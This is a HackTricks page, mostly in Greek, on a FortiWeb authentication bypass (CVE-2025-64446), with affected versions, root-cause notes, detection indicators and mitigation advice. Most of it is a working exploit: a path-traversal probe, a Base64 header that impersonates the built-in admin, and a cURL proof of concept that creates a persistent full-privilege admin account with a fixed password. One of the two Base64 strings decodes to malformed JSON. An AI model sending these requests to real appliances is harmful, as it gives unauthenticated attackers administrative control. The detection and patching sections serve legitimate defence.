Fortinet FortiWeb — Auth bypass via API-prefix traversal and CGIINFO impersonation
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Επισκόπηση
Το Fortinet FortiWeb εκθέτει έναν κεντρικό CGI dispatcher στο /cgi-bin/fwbcgi. Μια αλυσίδα δύο σφαλμάτων επιτρέπει σε έναν μη-πιστοποιημένο απομακρυσμένο επιτιθέμενο να:
- Reach
fwbcgiby starting the URL with a valid API prefix and traversing directories. - Impersonate any user (including the built-in
admin) by supplying a special HTTP header that the CGI trusts as identity.
Vendor advisory: FG‑IR‑25‑910 (CVE‑2025‑64446). Έχουν παρατηρηθεί εκμεταλλεύσεις σε πραγματικά περιβάλλοντα που δημιουργούν μόνιμους admin χρήστες.
Επηρεαζόμενες εκδόσεις (όπως έχουν δημοσιοποιηθεί):
- 8.0 < 8.0.2
- 7.6 < 7.6.5
- 7.4 < 7.4.10
- 7.2 < 7.2.12
- 7.0 < 7.0.12
- 6.4 ≤ 6.4.3
- 6.3 ≤ 6.3.23
Το FortiWeb 8.0.2 επιστρέφει HTTP 403 για το traversal probe παρακάτω.
Γρήγορος έλεγχος ευπάθειας
- Path traversal from API prefix to
fwbcgi:
GET /api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi HTTP/1.1
Host: <target>
- Ερμηνεία: HTTP 200 → πιθανώς ευάλωτο; HTTP 403 → επιδιορθωμένο.
Αλυσίδα ριζικής αιτίας
- API-prefix path traversal to internal CGI
- Οποιοδήποτε request path που αρχίζει με ένα έγκυρο FortiWeb API prefix (π.χ.,
/api/v2.0/cmdb/ή/api/v2.0/cmd/) μπορεί να traverse με../προς/cgi-bin/fwbcgi.
- Minimal-body validation bypass
- Μόλις επιτευχθεί το
fwbcgi, ένα πρώτο φίλτρο εκτελεί έναν επιεική έλεγχο JSON, ο οποίος βασίζεται σε ένα per-path αρχείο κάτω από/var/log/inputcheck/. Αν το αρχείο λείπει, ο έλεγχος περνάει άμεσα. Αν υπάρχει, το body χρειάζεται μόνο να είναι έγκυρο JSON. Χρησιμοποιήστε{}ως το ελάχιστο συμβατό body.
- Header-driven user impersonation
- Το πρόγραμμα διαβάζει τη CGI environment variable
HTTP_CGIINFO(παραγόμενη από την HTTP headerCGIINFO), Base64-decodes την τιμή, parsάρει το JSON, και αντιγράφει attributes απευθείας στο login context, ορίζοντας το domain/VDOM. Keys of interest: username,loginname,vdom,profname- Παράδειγμα JSON για impersonate τον built-in admin:
{
"username": "admin",
"profname": "prof_admin",
"vdom": "root",
"loginname": "admin"
}
Base64 του παραπάνω (όπως χρησιμοποιείται στο πραγματικό περιβάλλον):
eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwcm9mbmFtZSI6ICJwcm9mX2FkbWluIiwgInZkb201OiAicm9vdCIsICJsb2dpbm5hbWUiOiAiYWRtaW4ifQ==
Πρότυπο κατάχρησης από άκρο σε άκρο (μη πιστοποιημένος → admin)
- Προσπελάστε το
/cgi-bin/fwbcgiμέσω API-prefix traversal. - Παρέχετε οποιοδήποτε έγκυρο JSON body (π.χ.,
{}) για να περάσει ο έλεγχος εισόδου. - Στείλτε header
CGIINFO: <base64(json)>όπου το JSON ορίζει την ταυτότητα του στόχου. - Κάντε POST το backend JSON που αναμένει το
fwbcgiγια να εκτελέσετε privileged actions (π.χ., δημιουργία admin χρήστη για persistence).
Ελάχιστο cURL PoC
- Probe traversal exposure:
curl -ik 'https://<host>/api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi'
- Μιμηθείτε τον admin και δημιουργήστε έναν νέο local admin user:
# Base64(JSON) for admin impersonation
B64='eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwcm9mbmFtZSI6ICJwcm9mX2FkbWluIiwgInZkb20iOiAicm9vdCIsICJsb2dpbm5hbWUiOiAiYWRtaW4ifQ=='
curl -ik \
-H "CGIINFO: $B64" \
-H 'Content-Type: application/json' \
-X POST \
--data '{"data":{"name":"watchTowr","access-profile":"prof_admin","access-profile_val":"0","trusthostv4":"0.0.0.0/0","trusthostv6":"::/0","type":"local-user","type_val":"0","password":"P@ssw0rd!"}}' \
'https://<host>/api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi'
Σημειώσεις:
- Κάθε έγκυρο JSON σώμα αρκεί (π.χ.
{}) αν το/var/log/inputcheck/<path>.jsonδεν υπάρχει. - Το action schema είναι εσωτερικό στο FortiWeb· το παράδειγμα παραπάνω προσθέτει έναν τοπικό admin με πλήρη δικαιώματα.
Ανίχνευση
- Αιτήσεις που φτάνουν στο
/cgi-bin/fwbcgiμέσω API-prefix paths που περιέχουν../(π.χ./api/v2.0/cmdb/.../../../../../../cgi-bin/fwbcgi). - Παρουσία του header
CGIINFOμε Base64 JSON που περιέχει τα κλειδιάusername/loginname/vdom/profname. - Αποτυπώματα στο backend:
- Αρχεία ανά path κάτω από
/var/log/inputcheck/(gate configuration). - Απρόσμενη δημιουργία admin και αλλαγές διαμόρφωσης.
- Γρήγορος έλεγχος: το traversal probe που επιστρέφει 200 (εκτεθειμένο) έναντι 403 (μπλοκαρισμένο σε διορθωμένες builds).
Αντιμετώπιση
- Αναβαθμίστε σε διορθωμένες εκδόσεις (παραδείγματα: 8.0.2, 7.6.5, 7.4.10, 7.2.12, 7.0.12) σύμφωνα με την ανακοίνωση του vendor.
- Μέχρι να εφαρμοστεί το patch:
- Μην εκθέτετε το management plane του FortiWeb σε μη αξιόπιστα δίκτυα.
- Προσθέστε κανόνες στον reverse-proxy/WAF για να μπλοκάρετε:
- Διαδρομές που ξεκινούν με
/api/και περιέχουν../cgi-bin/fwbcgi. - Αιτήματα που φέρουν το header
CGIINFO. - Παρακολουθείτε και ενεργοποιήστε ειδοποιήσεις για τους δείκτες ανίχνευσης παραπάνω.
Αναφορές
- When the impersonation function gets used to impersonate users — Fortinet FortiWeb auth bypass (watchTowr Labs)
- watchTowr vs FortiWeb Auth Bypass — Detection artefact generator
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
HackTricks

